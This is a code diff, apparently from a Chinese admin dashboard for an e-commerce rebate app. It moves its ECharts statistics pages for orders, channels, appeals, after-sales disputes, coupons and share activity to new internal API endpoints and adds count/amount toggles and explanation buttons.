23个文件已添加
5 文件已复制
41个文件已修改
5 文件已重命名
3个文件已删除
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/order/getTrackAccuracyRate"; |
| | | // 请求地址
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | }; |
| | | dateType: optC.select.result,
|
| | | typeArray: optC.screen[0].result, |
| | | };
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | if (mydata.dateType == "2") |
| | | { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | if(optC.screen[0].result[0]==null||optC.screen[0].result[0]==undefined||optC.screen[0].result[0]=='') |
| | | { |
| | | doui.showToast("请选择渠道"); |
| | | return; |
| | | } |
| | | |
| | | mydata.sourceType=optC.screen[0].result[0]; |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | title: "渠道来源", |
| | | muchCheck: false, // 是否可以多选 |
| | | child: [ |
| | | { key: [1], value: "淘宝", check: false }, |
| | | { key: [2], value: "京东", check: false }, |
| | | { key: [3], value: "拼多多", check: false }, |
| | | { key: ["tbOrderTrackRate"], value: "淘宝", check: true }, |
| | | { key: ["jdOrderTrackRate"], value: "京东", check: false }, |
| | | { key: ["pddOrderTrackRate"], value: "拼多多", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | } |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/order/getHongBaoNum"; |
| | | //var myurl = gethttp() + "/admin/new/api/v1/order/getHongBaoNum";
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCount"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>下单数-分类型</title> |
| | | <title>订单总计</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | // Echarts插件 |
| | | getHostPath() + "childPath/charts/echarts.common.min.js", |
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | getHostPath() + "js/confirmTrans.js", |
| | | ], |
| | | }); |
| | | </script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '下单数-分类型' }, |
| | | title: { text: '' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/order/getTypeNumber"; |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | |
| | | title: "订单类型", |
| | | muchCheck: true, // 是否可以多选 |
| | | child: [ |
| | | { key: ["1"], value: "自购订单", check: true }, |
| | | { key: ["2"], value: "分享订单", check: true }, |
| | | { key: ["3"], value: "邀请订单", check: true }, |
| | | { key: ["fanliOrderNum"], value: "自购订单", check: true }, |
| | | { key: ["shareOrderNum"], value: "分享订单", check: true }, |
| | | { key: ["inviteOrderNum"], value: "邀请订单", check: true }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | vm_header.input.result[1] = commonEnd; |
| | | } |
| | | |
| | | |
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
| | | var text = "统计订单数量:</br>1、有效订单 </br>2、一个订单号对应一个订单";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000); |
| | | </script> |
| | |
| | | <title>下单数-分渠道</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | // Echarts插件 |
| | | getHostPath() + "childPath/charts/echarts.common.min.js", |
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | getHostPath() + "js/confirmTrans.js", |
| | | ], |
| | | }); |
| | | </script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '下单数-分渠道' }, |
| | | title: { text: '分渠道' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | yAxis: { |
| | | name: "数目", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 单' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/order/get24HOderChannelCharts"; |
| | | if (optC.change.result == "all") { myurl = gethttp() + "/admin/new/api/v1/order/getHongBaoNum"; } |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | channelArray: optC.screen[0].result, // 平台名称 |
| | | }; |
| | | channelArray: optC.screen[0].result, // 平台名称
|
| | | typeArray: optC.screen[1].result, |
| | | };
|
| | | |
| | | if (optC.change.result == 2){
|
| | | mydata.channelArray = "";
|
| | | mydata.typeArray = ["channelOrderMoney"];
|
| | | } |
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | // 切换 |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { key: "24hour", value: "24小时内" }, |
| | | { key: "all", value: "全部" }, |
| | | ], |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "单数" },
|
| | | { key: 2, value: "金额" },
|
| | | ],
|
| | | }); |
| | | // 筛选项 |
| | | adminDom.header.screen({ |
| | |
| | | title: "下载平台", |
| | | muchCheck: true, // 是否可以多选 |
| | | child: [ |
| | | { key: ["360"], value: "360", check: false }, |
| | | { key: ["appstore"], value: "appstore", check: true }, |
| | | { key: ["GuanWang"], value: "官网", check: true }, |
| | | { key: ["huawei"], value: "华为", check: true }, |
| | | { key: ["meizu"], value: "魅族", check: true }, |
| | | { key: ["OPPO"], value: "oppo", check: true }, |
| | | { key: ["PP"], value: "PP", check: false }, |
| | | { key: ["QQ"], value: "腾讯应用宝", check: true }, |
| | | { key: ["Sougou"], value: "搜狗", check: false }, |
| | | { key: ["VIVO"], value: "vivo", check: true }, |
| | | { key: ["xiaomi"], value: "小米", check: true }, |
| | | { key: ["yaoqing"], value: "邀请赚", check: false }, |
| | | { key: ["Yingyin"], value: "影音", check: false }, |
| | | { key: ["douyin"], value: "抖音", check: false }, |
| | | { key: ["p360"], value: "360", check: false },
|
| | | { key: ["appstore"], value: "appstore", check: true },
|
| | | { key: ["douyin"], value: "官网", check: true },
|
| | | { key: ["guanwang"], value: "华为", check: true },
|
| | | { key: ["meizu"], value: "魅族", check: true },
|
| | | { key: ["oppo"], value: "oppo", check: true },
|
| | | { key: ["pp"], value: "PP", check: false },
|
| | | { key: ["qq"], value: "腾讯应用宝", check: true },
|
| | | { key: ["sougou"], value: "搜狗", check: false },
|
| | | { key: ["vivo"], value: "vivo", check: true },
|
| | | { key: ["xiaomi"], value: "小米", check: true },
|
| | | { key: ["yaoqing"], value: "邀请赚", check: false },
|
| | | { key: ["yingyin"], value: "影音", check: false },
|
| | | { key: ["huawei"], value: "抖音", check: false },
|
| | | { key: ["lenovo"], value: "联想", check: false },
|
| | | { key: ["unknown"], value: "其他", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | },
|
| | | {
|
| | | title: "订单类型(仅筛选单数)", |
| | | muchCheck: false, // 是否可以多选
|
| | | child: [
|
| | | { key: ["channelOrderNum24H"], value: "24小时", check: false },
|
| | | { key: ["channelOrderNum"], value: "全部", check: true },
|
| | | ],
|
| | | input: { type: "number", num: 0 },
|
| | | }, |
| | | ], |
| | | }); |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | vm_header.input.result[0] = commonStart; |
| | | vm_header.input.result[1] = commonEnd; |
| | | } |
| | | |
| | | |
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
| | | var text = "统计渠道新增订单:</br>1、有效订单 </br>2、一个订单号对应一个订单";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000); |
| | | |
| | | </script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '下单数-申诉' }, |
| | | title: { text: '申诉' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | yAxis: { |
| | | name: "数目", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 单' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/lostOrder/getLostNum"; |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | stateArray: optC.screen[0].result, // 订单申诉状态 |
| | | }; |
| | | typeArray: optC.screen[0].result, // 订单申诉状态 |
| | | };
|
| | | |
| | | |
| | | if (optC.change.result == 2) { |
| | | mydata.typeArray = ["lastOrderSucceedMoney"];
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | show: true, |
| | | list: [ |
| | | { |
| | | title: "申述处理状态", |
| | | title: "状态(仅筛选单数)", |
| | | muchCheck: true, // 是否可以多选 |
| | | child: [ |
| | | { key: ["1"], value: "未处理", check: true }, |
| | | { key: ["2"], value: "成功", check: true }, |
| | | { key: ["3"], value: "失败", check: true }, |
| | | { key: ["lastOrderUntreatedNum"], value: "未处理", check: true }, |
| | | { key: ["lastOrderSucceedNum"], value: "成功", check: true }, |
| | | { key: ["lastOrderFailNum"], value: "失败", check: true }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | | ], |
| | | }); |
| | | |
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "单数" },
|
| | | { key: 2, value: "金额" },
|
| | | ],
|
| | | }); |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '下单数-维权' }, |
| | | title: { text: '维权' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | yAxis: { |
| | | name: "数目", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 单' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/order/getWeiQaunOrderNumber"; |
| | | // 请求地址
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getOrderCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | }; |
| | | };
|
| | | |
| | | if (optC.change.result == 1) {
|
| | | mydata.typeArray = ["weiQuanOrderNum"];
|
| | | } else {
|
| | | mydata.typeArray = ["weiQuanOrderMoney"];
|
| | | }
|
| | | |
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | } |
| | | }); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "单数" },
|
| | | { key: 2, value: "金额" },
|
| | | ],
|
| | | });
|
| | | |
| | | |
| | | // 下拉框 |
| | | adminDom.header.select({ |
| | | show: true, |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>订单数据</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">订单总计</li>
|
| | | <li lay-id="t2">分渠道订单</li>
|
| | | <li lay-id="t3">找回订单</li>
|
| | | <li lay-id="t4">售后订单</li>
|
| | | <li lay-id="t5">跟踪准确率</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="numFenLei.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="numQuDao.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t3" align="center" width="100%" height="100%" datasrc="numShenShu.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t4" align="center" width="100%" height="100%" datasrc="numWeiQuan.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t5" align="center" width="100%" height="100%" datasrc="OKgaiLv.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>数据统计</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">发圈行为</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="fa_quan.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | |
| | | </script> |
copy from childPath/charts/prize/jiangLiMoney.html
copy to childPath/charts/faquan/fa_quan.html
File was copied from childPath/charts/prize/jiangLiMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>奖励券-金额</title> |
| | | <title>发圈数据统计</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | // Echarts插件 |
| | | getHostPath() + "childPath/charts/echarts.common.min.js", |
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | getHostPath() + "js/confirmTrans.js", |
| | | ], |
| | | }); |
| | | </script> |
| | | </head> |
| | | |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox bg-white"> |
| | | <div id="allwai" class="winSizeBox bg-white"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '奖励券-奖励金额' }, |
| | | title: { text: '' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | //name: "计数", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisPointer: { snap: true } |
| | | //axisLabel: { formatter: '{value} ' }, |
| | | //axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | | series: [], // 需要接口获取 |
| | |
| | | adminDom.header.creat({ |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getRebateCouponMoneyCharts"; |
| | | {
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getMomentsCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | }; |
| | | };
|
| | | |
| | | mydata.typeArray = ["shareClick","copyComment"];
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | mydata.endTime = optC.input[1].result; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | |
| | | legendData.push(res.data.line_list[i].name); |
| | | res.data.line_list[i].type = "line"; // 线条样式 |
| | | res.data.line_list[i].smooth = true; // 线条平滑 |
| | | res.data.line_list[i].stack = '总量'; // 数据堆叠 |
| | | //res.data.line_list[i].stack = '总量'; // 数据堆叠 |
| | | } |
| | | // 图表赋值 |
| | | option.legend.data = legendData; // 图例项 |
| | |
| | | } |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | |
| | | |
| | | adminDom.header.input({ num: 2, type: "date", });
|
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | vm_header.input.result[0] = commonStart; |
| | | vm_header.input.result[1] = commonEnd; |
| | | } |
| | | |
| | | |
| | | |
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
| | | var text = "发圈分享、复制评论统计";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000); |
| | | |
| | | </script> |
copy from childPath/charts/prize/mianDanMoney.html
copy to childPath/charts/prize/free_count.html
File was copied from childPath/charts/prize/mianDanMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>免单券-金额</title> |
| | | <title>免单券</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '免单券-免单金额' }, |
| | | title: { text: '' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "结果", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value} ' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getFreeCouponMoneyCharts"; |
| | | // 请求地址
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getCouponCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | coupon: optC.change.result, |
| | | }; |
| | | };
|
| | | |
| | | |
| | | if (optC.change.result == 1){
|
| | | mydata.typeArray =["freeCouponNum","freeCouponBuyNum","welfareFreeCouponNum"];
|
| | | } else {
|
| | | mydata.typeArray =["freeCouponMoney","freeCouponBuyMoney","welfareFreeCouponMoney"];
|
| | | }
|
| | | |
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | if (mydata.dateType == "1") { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | | }
|
| | | |
| | | if (mydata.dateType == "2") { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { "key": "1", value: "免单券 " }, |
| | | { "key": "2", value: "福利免单券" }, |
| | | { "key": "3", value: "自购免单券" }, |
| | | { "key": "1", value: "数量" }, |
| | | { "key": "2", value: "金额" }, |
| | | ], |
| | | }); |
| | | |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
